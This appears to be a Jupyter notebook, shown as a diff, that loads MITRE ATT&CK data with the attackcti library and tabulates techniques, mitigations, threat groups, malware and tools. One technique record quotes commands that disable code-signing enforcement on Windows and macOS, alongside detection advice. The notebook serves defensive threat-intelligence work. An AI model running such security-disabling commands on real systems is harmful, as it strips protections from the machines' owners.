"stdout", - "output_type": "stream", - "text": [ - "Number of Techniques in ATT&CK\n", - "1062\n" - ] - } - ], - "source": [ - "print(\"Number of Techniques in ATT&CK\")\n", - "print(len(all_attack['techniques']))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "* By default, the data returned by the available functions in the attackcti library is of type **stix2**\n", - "* However, if you want to interact with libraries such as **Pandas**, it needs to be of type **dict**" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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creatednamex_mitre_data_sourcesx_mitre_platforms
02021-04-23T01:04:57.161ZCode Signing Policy Modification[Windows Registry: Windows Registry Key Modifi...[Windows, macOS]
12021-04-01T16:42:08.735ZSystem Location Discovery[Instance: Instance Metadata, Process: Process...[Windows, Linux, macOS, IaaS]
22021-03-31T14:26:00.848ZContainer and Resource Discovery[Cluster: Cluster Metadata, Container: Contain...[Containers]
32021-03-31T14:01:52.321ZContainer API[Command: Command Execution, File: File Access...[Containers]
42021-03-30T17:54:03.944ZBuild Image on Host[Image: Image Creation, Network Traffic: Netwo...[Containers]
\n", - "
" - ], - "text/plain": [ - " created name \\\n", - "0 2021-04-23T01:04:57.161Z Code Signing Policy Modification \n", - "1 2021-04-01T16:42:08.735Z System Location Discovery \n", - "2 2021-03-31T14:26:00.848Z Container and Resource Discovery \n", - "3 2021-03-31T14:01:52.321Z Container API \n", - "4 2021-03-30T17:54:03.944Z Build Image on Host \n", - "\n", - " x_mitre_data_sources \\\n", - "0 [Windows Registry: Windows Registry Key Modifi... \n", - "1 [Instance: Instance Metadata, Process: Process... \n", - "2 [Cluster: Cluster Metadata, Container: Contain... \n", - "3 [Command: Command Execution, File: File Access... \n", - "4 [Image: Image Creation, Network Traffic: Netwo... \n", - "\n", - " x_mitre_platforms \n", - "0 [Windows, macOS] \n", - "1 [Windows, Linux, macOS, IaaS] \n", - "2 [Containers] \n", - "3 [Containers] \n", - "4 [Containers] " - ] - }, - "execution_count": 11, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques = []\n", - "for t in all_attack['techniques']:\n", - " techniques.append(json.loads(t.serialize()))\n", - "df = pandas.json_normalize(techniques)\n", - "df.reindex(['created','name', 'x_mitre_data_sources', 'x_mitre_platforms'], axis=1)[0:5]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing the schema of Techniques**" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "This schema covers techniques from Enterprise, PRE and Mobile ATT&CK" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['external_references',\n", - " 'object_marking_refs',\n", - " 'created_by_ref',\n", - " 'name',\n", - " 'description',\n", - " 'id',\n", - " 'type',\n", - " 'kill_chain_phases',\n", - " 'modified',\n", - " 'created',\n", - " 'x_mitre_detection',\n", - " 'x_mitre_data_sources',\n", - " 'x_mitre_contributors',\n", - " 'x_mitre_defense_bypassed',\n", - " 'x_mitre_version',\n", - " 'x_mitre_is_subtechnique',\n", - " 'x_mitre_permissions_required',\n", - " 'x_mitre_platforms',\n", - " 'x_mitre_remote_support',\n", - " 'x_mitre_system_requirements',\n", - " 'x_mitre_network_requirements',\n", - " 'x_mitre_effective_permissions',\n", - " 'x_mitre_impact_type',\n", - " 'revoked',\n", - " 'x_mitre_deprecated',\n", - " 'x_mitre_old_attack_id',\n", - " 'x_mitre_difficulty_for_adversary_explanation',\n", - " 'x_mitre_difficulty_for_adversary',\n", - " 'x_mitre_detectable_by_common_defenses_explanation',\n", - " 'x_mitre_detectable_by_common_defenses',\n", - " 'x_mitre_tactic_type']" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing one technique example**" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'external_references': [{'source_name': 'mitre-attack',\n", - " 'external_id': 'T1553.006',\n", - " 'url': 'https://attack.mitre.org/techniques/T1553/006'},\n", - " {'source_name': 'Microsoft DSE June 2017',\n", - " 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN',\n", - " 'description': 'Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.'},\n", - " {'source_name': 'Apple Disable SIP',\n", - " 'url': 'https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection',\n", - " 'description': 'Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.'},\n", - " {'source_name': 'Microsoft Unsigned Driver Apr 2017',\n", - " 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test',\n", - " 'description': 'Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.'},\n", - " {'source_name': 'Microsoft TESTSIGNING Feb 2021',\n", - " 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option',\n", - " 'description': 'Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.'},\n", - " {'source_name': 'FireEye HIKIT Rootkit Part 2',\n", - " 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html',\n", - " 'description': 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'},\n", - " {'source_name': 'GitHub Turla Driver Loader',\n", - " 'url': 'https://github.com/hfiref0x/TDL',\n", - " 'description': 'TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.'},\n", - " {'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf',\n", - " 'description': 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.',\n", - " 'source_name': 'F-Secure BlackEnergy 2014'},\n", - " {'source_name': 'Unit42 AcidBox June 2020',\n", - " 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/',\n", - " 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.'}],\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'name': 'Code Signing Policy Modification',\n", - " 'description': 'Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \\n\\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\\n\\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\\n\\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)',\n", - " 'id': 'attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c',\n", - " 'type': 'attack-pattern',\n", - " 'kill_chain_phases': [{'kill_chain_name': 'mitre-attack',\n", - " 'phase_name': 'defense-evasion'}],\n", - " 'modified': '2021-04-26T15:41:39.155Z',\n", - " 'created': '2021-04-23T01:04:57.161Z',\n", - " 'x_mitre_detection': 'Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.',\n", - " 'x_mitre_data_sources': ['Windows Registry: Windows Registry Key Modification',\n", - " 'Command: Command Execution',\n", - " 'Process: Process Creation'],\n", - " 'x_mitre_contributors': ['Abel Morales, Exabeam'],\n", - " 'x_mitre_defense_bypassed': ['Application control',\n", - " 'User Mode Signature Validation',\n", - " 'Digital Certificate Validation'],\n", - " 'x_mitre_version': '1.0',\n", - " 'x_mitre_is_subtechnique': True,\n", - " 'x_mitre_permissions_required': ['Administrator'],\n", - " 'x_mitre_platforms': ['Windows', 'macOS']}" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Mitigations from ATT&CK Results (Locally)" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of Mitigations in ATT&CK\n", - "329\n" - ] - } - ], - "source": [ - "print(\"Number of Mitigations in ATT&CK\")\n", - "print(len(all_attack['mitigations']))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "* Remember, we need to transform our results to dictionaries to be able to use them as pandas dataframes" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-attack', 'external_id'...This category is used for any applicable mitig...Pre-compromisecourse-of-action--78bb71be-92b4-46de-acd6-5f99...course-of-action2020-10-20T19:52:32.439Z2020-10-19T14:57:58.771Z1.0NaNNaNNaN
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-attack', 'external_id'...This category is to associate techniques that ...Do Not Mitigatecourse-of-action--787fb64d-c87b-4ee5-a341-0ef1...course-of-action2019-07-23T14:44:24.727Z2019-07-19T14:58:42.715Z1.0NaNNaNNaN
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1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'G0129', 'source_name': 'mitr...[Mustang Panda](https://attack.mitre.org/group...Mustang Pandaintrusion-setintrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b728...[Mustang Panda, TA416, RedDelta, BRONZE PRESID...2021-04-25T21:15:45.895Z2021-04-12T15:56:28.861Z1.0[Kyaw Pyiyt Htet, @KyawPyiytHtet]NaN
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'G0128', 'source_name': 'mitr...[ZIRCONIUM](https://attack.mitre.org/groups/G0...ZIRCONIUMintrusion-setintrusion-set--4283ae19-69c7-4347-a35e-b56f08e...[ZIRCONIUM, APT31]2021-04-20T21:00:44.930Z2021-03-24T15:48:17.731Z1.0NaNNaN
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Ajax Security Team \n", - "1 [Mustang Panda](https://attack.mitre.org/group... Mustang Panda \n", - "2 [ZIRCONIUM](https://attack.mitre.org/groups/G0... ZIRCONIUM \n", - "3 [TA551](https://attack.mitre.org/groups/G0127)... TA551 \n", - "\n", - " type id \\\n", - "0 intrusion-set intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56... \n", - "1 intrusion-set intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b728... \n", - "2 intrusion-set intrusion-set--4283ae19-69c7-4347-a35e-b56f08e... \n", - "3 intrusion-set intrusion-set--94873029-f950-4268-9cfd-5032e15... \n", - "\n", - " aliases \\\n", - "0 [Ajax Security Team, Operation Woolen-Goldfish... \n", - "1 [Mustang Panda, TA416, RedDelta, BRONZE PRESID... \n", - "2 [ZIRCONIUM, APT31] \n", - "3 [TA551, GOLD CABIN, Shathak] \n", - "\n", - " modified created x_mitre_version \\\n", - "0 2021-04-22T20:13:14.377Z 2021-04-14T13:17:43.941Z 1.0 \n", - "1 2021-04-25T21:15:45.895Z 2021-04-12T15:56:28.861Z 1.0 \n", - "2 2021-04-20T21:00:44.930Z 2021-03-24T15:48:17.731Z 1.0 \n", - "3 2021-03-25T15:33:58.444Z 2021-03-19T21:04:00.692Z 1.0 \n", - "\n", - " x_mitre_contributors revoked \n", - "0 NaN NaN \n", - "1 [Kyaw Pyiyt Htet, @KyawPyiytHtet] NaN \n", - "2 NaN NaN \n", - "3 [Shuhei Sasada, Cyber Defense Institute, Inc, ... NaN " - ] - }, - "execution_count": 18, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "groups = []\n", - "for t in all_attack['groups']:\n", - " groups.append(json.loads(t.serialize()))\n", - "df = pandas.json_normalize(groups)\n", - "df[0:4]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing the schema of Groups**" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['created_by_ref',\n", - " 'object_marking_refs',\n", - " 'external_references',\n", - " 'description',\n", - " 'name',\n", - " 'type',\n", - " 'id',\n", - " 'aliases',\n", - " 'modified',\n", - " 'created',\n", - " 'x_mitre_version',\n", - " 'x_mitre_contributors',\n", - " 'revoked']" - ] - }, - "execution_count": 19, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing one Groups example**" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'external_references': [{'external_id': 'G0130',\n", - " 'source_name': 'mitre-attack',\n", - " 'url': 'https://attack.mitre.org/groups/G0130'},\n", - " {'source_name': 'Operation Woolen-Goldfish',\n", - " 'description': 'Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)'},\n", - " {'source_name': 'AjaxTM',\n", - " 'description': '(Citation: FireEye Operation Saffron Rose 2013)'},\n", - " {'source_name': 'Rocket Kitten',\n", - " 'description': 'Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)'},\n", - " {'source_name': 'Flying Kitten',\n", - " 'description': '(Citation: CrowdStrike Flying Kitten )'},\n", - " {'source_name': 'Operation Saffron Rose',\n", - " 'description': '(Citation: FireEye Operation Saffron Rose 2013)'},\n", - " {'source_name': 'FireEye Operation Saffron Rose 2013',\n", - " 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf',\n", - " 'description': 'Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.'},\n", - " {'source_name': 'Check Point Rocket Kitten',\n", - " 'url': 'https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf',\n", - " 'description': 'Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.'},\n", - " {'source_name': 'TrendMicro Operation Woolen Goldfish March 2015',\n", - " 'url': 'https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf',\n", - " 'description': 'Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.'},\n", - " {'source_name': 'IranThreats Kittens Dec 2017',\n", - " 'url': 'https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/',\n", - " 'description': 'Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.'},\n", - " {'source_name': 'CrowdStrike Flying Kitten ',\n", - " 'url': 'https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/',\n", - " 'description': 'Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.'}],\n", - " 'description': '[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)',\n", - " 'name': 'Ajax Security Team',\n", - " 'type': 'intrusion-set',\n", - " 'id': 'intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7',\n", - " 'aliases': ['Ajax Security Team',\n", - " 'Operation Woolen-Goldfish',\n", - " 'AjaxTM',\n", - " 'Rocket Kitten',\n", - " 'Flying Kitten',\n", - " 'Operation Saffron Rose'],\n", - " 'modified': '2021-04-22T20:13:14.377Z',\n", - " 'created': '2021-04-14T13:17:43.941Z',\n", - " 'x_mitre_version': '1.0'}" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "groups[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Malware objects from ATT&CK Results (Locally)" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of Malware in ATT&CK\n", - "524\n" - ] - } - ], - "source": [ - "print(\"Number of Malware in ATT&CK\")\n", - "print(len(all_attack['malware']))" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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external_referencesobject_marking_refscreated_by_refdescriptionnameidtypelabelsmodifiedcreatedx_mitre_versionx_mitre_aliasesx_mitre_platformsx_mitre_contributorsrevokedx_mitre_old_attack_id
0[{'external_id': 'S0598', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[P.A.S. Webshell](https://attack.mitre.org/sof...P.A.S. Webshellmalware--4800d0f9-00aa-47cd-a4d2-92198585b8fdmalware[malware]2021-04-13T13:10:36.820Z2021-04-13T12:46:58.579Z1.0[P.A.S. Webshell, Fobushell][Linux, Windows]NaNNaNNaN
1[{'external_id': 'S0601', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Hildegard](https://attack.mitre.org/software/...Hildegardmalware--40a1b8ec-7295-416c-a6b1-68181d86f120malware[malware]2021-04-12T12:51:56.886Z2021-04-07T18:07:47.604Z1.0[Hildegard][Linux, Containers, IaaS][Center for Threat-Informed Defense (CTID)]NaNNaN
2[{'external_id': 'S0600', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Doki](https://attack.mitre.org/software/S0600...Dokimalware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64fmalware[malware]2021-04-19T17:45:07.102Z2021-04-06T15:53:34.722Z1.0[Doki][Linux, Containers][Center for Threat-Informed Defense (CTID)]NaNNaN
3[{'external_id': 'S0599', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Kinsing](https://attack.mitre.org/software/S0...Kinsingmalware--d6e55656-e43f-411f-a7af-45df650471c5malware[malware]2021-04-12T12:49:39.027Z2021-04-06T12:22:23.447Z1.0[Kinsing][Containers, Linux][Center for Threat-Informed Defense (CTID)]NaNNaN
\n", - "
" - ], - "text/plain": [ - " external_references \\\n", - "0 [{'external_id': 'S0598', 'source_name': 'mitr... \n", - "1 [{'external_id': 'S0601', 'source_name': 'mitr... \n", - "2 [{'external_id': 'S0600', 'source_name': 'mitr... \n", - "3 [{'external_id': 'S0599', 'source_name': 'mitr... \n", - "\n", - " object_marking_refs \\\n", - "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "\n", - " created_by_ref \\\n", - "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "\n", - " description name \\\n", - "0 [P.A.S. Webshell](https://attack.mitre.org/sof... P.A.S. Webshell \n", - "1 [Hildegard](https://attack.mitre.org/software/... Hildegard \n", - "2 [Doki](https://attack.mitre.org/software/S0600... Doki \n", - "3 [Kinsing](https://attack.mitre.org/software/S0... Kinsing \n", - "\n", - " id type labels \\\n", - "0 malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd malware [malware] \n", - "1 malware--40a1b8ec-7295-416c-a6b1-68181d86f120 malware [malware] \n", - "2 malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f malware [malware] \n", - "3 malware--d6e55656-e43f-411f-a7af-45df650471c5 malware [malware] \n", - "\n", - " modified created x_mitre_version \\\n", - "0 2021-04-13T13:10:36.820Z 2021-04-13T12:46:58.579Z 1.0 \n", - "1 2021-04-12T12:51:56.886Z 2021-04-07T18:07:47.604Z 1.0 \n", - "2 2021-04-19T17:45:07.102Z 2021-04-06T15:53:34.722Z 1.0 \n", - "3 2021-04-12T12:49:39.027Z 2021-04-06T12:22:23.447Z 1.0 \n", - "\n", - " x_mitre_aliases x_mitre_platforms \\\n", - "0 [P.A.S. Webshell, Fobushell] [Linux, Windows] \n", - "1 [Hildegard] [Linux, Containers, IaaS] \n", - "2 [Doki] [Linux, Containers] \n", - "3 [Kinsing] [Containers, Linux] \n", - "\n", - " x_mitre_contributors revoked x_mitre_old_attack_id \n", - "0 NaN NaN NaN \n", - "1 [Center for Threat-Informed Defense (CTID)] NaN NaN \n", - "2 [Center for Threat-Informed Defense (CTID)] NaN NaN \n", - "3 [Center for Threat-Informed Defense (CTID)] NaN NaN " - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "malware = []\n", - "for t in all_attack['malware']:\n", - " malware.append(json.loads(t.serialize()))\n", - "df = pandas.json_normalize(malware)\n", - "df[0:4]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing the schema of Malware**" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['external_references',\n", - " 'object_marking_refs',\n", - " 'created_by_ref',\n", - " 'description',\n", - " 'name',\n", - " 'id',\n", - " 'type',\n", - " 'labels',\n", - " 'modified',\n", - " 'created',\n", - " 'x_mitre_version',\n", - " 'x_mitre_aliases',\n", - " 'x_mitre_platforms',\n", - " 'x_mitre_contributors',\n", - " 'revoked',\n", - " 'x_mitre_old_attack_id']" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing one Malware example**" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'external_references': [{'external_id': 'S0598',\n", - " 'source_name': 'mitre-attack',\n", - " 'url': 'https://attack.mitre.org/software/S0598'},\n", - " {'source_name': 'Fobushell',\n", - " 'description': '(Citation: NCCIC AR-17-20045 February 2017)'},\n", - " {'source_name': 'ANSSI Sandworm January 2021',\n", - " 'url': 'https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf',\n", - " 'description': 'ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.'},\n", - " {'source_name': 'NCCIC AR-17-20045 February 2017',\n", - " 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf',\n", - " 'description': 'NCCIC. (2017, February 10). Enhanced Analysis of GRIZZLY STEPPE Activity. Retrieved April 12, 2021.'}],\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'description': '[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)',\n", - " 'name': 'P.A.S. Webshell',\n", - " 'id': 'malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd',\n", - " 'type': 'malware',\n", - " 'labels': ['malware'],\n", - " 'modified': '2021-04-13T13:10:36.820Z',\n", - " 'created': '2021-04-13T12:46:58.579Z',\n", - " 'x_mitre_version': '1.0',\n", - " 'x_mitre_aliases': ['P.A.S. Webshell', 'Fobushell'],\n", - " 'x_mitre_platforms': ['Linux', 'Windows']}" - ] - }, - "execution_count": 24, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "malware[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Tools from ATT&CK Results (Locally)" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of Tools in ATT&CK\n", - "72\n" - ] - } - ], - "source": [ - "print(\"Number of Tools in ATT&CK\")\n", - "print(len(all_attack['tools']))" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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createdmodifiedlabelstypeidnamedescriptioncreated_by_refobject_marking_refsexternal_referencesx_mitre_platformsx_mitre_aliasesx_mitre_versionx_mitre_contributorsx_mitre_old_attack_id
02021-03-19T13:11:50.666Z2021-04-26T22:35:19.315Z[tool]tooltool--80c815bb-b24a-4b9c-9d73-ff4c075a278dOut1[Out1](https://attack.mitre.org/software/S0594...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0594', 'source_name': 'mitr...[Windows][Out1]1.0NaNNaN
12021-03-18T14:57:34.628Z2021-04-25T23:30:38.375Z[tool]tooltool--03c6e0ea-96d3-4b23-9afb-05055663cf4bRemoteUtilities[RemoteUtilities](https://attack.mitre.org/sof...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0592', 'source_name': 'mitr...[Windows][RemoteUtilities]1.0NaNNaN
22021-03-18T13:39:27.676Z2021-03-18T14:54:01.053Z[tool]tooltool--842976c7-f9c8-41b2-8371-41dc64fbe261ConnectWise[ConnectWise](https://attack.mitre.org/softwar...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0591', 'source_name': 'mitr...[Windows][ConnectWise, ScreenConnect]1.0NaNNaN
32021-03-17T15:26:20.015Z2021-04-24T20:45:08.323Z[tool]tooltool--b63970b7-ddfb-4aee-97b1-80d335e033a8NBTscan[NBTscan](https://attack.mitre.org/software/S0...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0590', 'source_name': 'mitr...[Windows, Linux, macOS][NBTscan]1.0[Daniyal Naeem, BT Security]NaN
\n", - "
